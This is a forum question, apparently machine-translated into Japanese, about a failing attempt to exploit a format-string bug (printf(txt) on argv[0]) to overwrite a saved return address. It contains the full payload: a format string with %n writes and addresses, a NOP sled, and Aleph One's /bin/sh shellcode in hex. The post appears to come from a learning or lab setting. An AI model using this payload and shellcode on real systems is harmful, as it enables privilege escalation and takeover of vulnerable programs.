スタックのランダム化が無効になっている環境でこれを実行しており、AlephOne のバッファ オーバーフローと互換性のある gcc バージョンを使用しています。
シェルコードを含む配列のアドレスで命令ポインタ レジスタ (eip) を上書きしようとしています。私はいつもセグメンテーション違反に終わります。以下は、私が悪用しようとしているスニペットです。
//Prints version
static
void print_version(char* cmd)
{
char txt[640+1];
snprintf(txt, 640, "Submission program version 0.1 (%s)\n", cmd);
printf(txt);
}
execve() を介してこの関数を呼び出しています。ここでは、フォーマット文字列は argv[0] であり、上記の関数に正常に渡されます。
私はこのフォーマット文字列を持っています:
\x0c\xdc\xbf\xffjunk\x0d\xdc\xbf\xffjunk\x0e\xdc\xbf\xffjunk\x0f\xdc\xbf\xff%8x%8x%120x%n%5x%n%230x%n%64x%n
続いて 200 の NOP、シェルコード、および NOP を含む残りの配列が続きます。
シェルコードは Aleph One のコードです。
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\ x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
フォーマット文字列に戻ると、0xffbfdc0c から 0xffbfdc0f までの 4 つのアドレスを上書きしています。0xffbfdc0c は、冒頭で述べた print_version() 関数にブレーク ポイントを設定して見つけた保存済みの eip アドレスです。
私はそれをアドレス 0xffbfdcd4 に置き換えようとしています。これは、print_version の txt[] 配列のベース アドレスの 150 バイト上にあります (その後、関数内の txt[] の最初の文字とフォーマット文字列を数えて、着陸することを願っています)。シェルコードの前の NOP のどこかにある)。
SEG障害が発生するだけです。さらに先に進む方法や、意図したアドレスの値が実際に上書きされているかどうかを確認するためにデバッグする方法がわかりません。
編集:正しいフォーマット文字列を使用していますか?
私のプログラムがセグメントフォルトを生成した後、またはセグメントフォルトの直前でアドレスの変更後にgdbを使用してアドレスを確認する方法を教えてください。
ありがとう。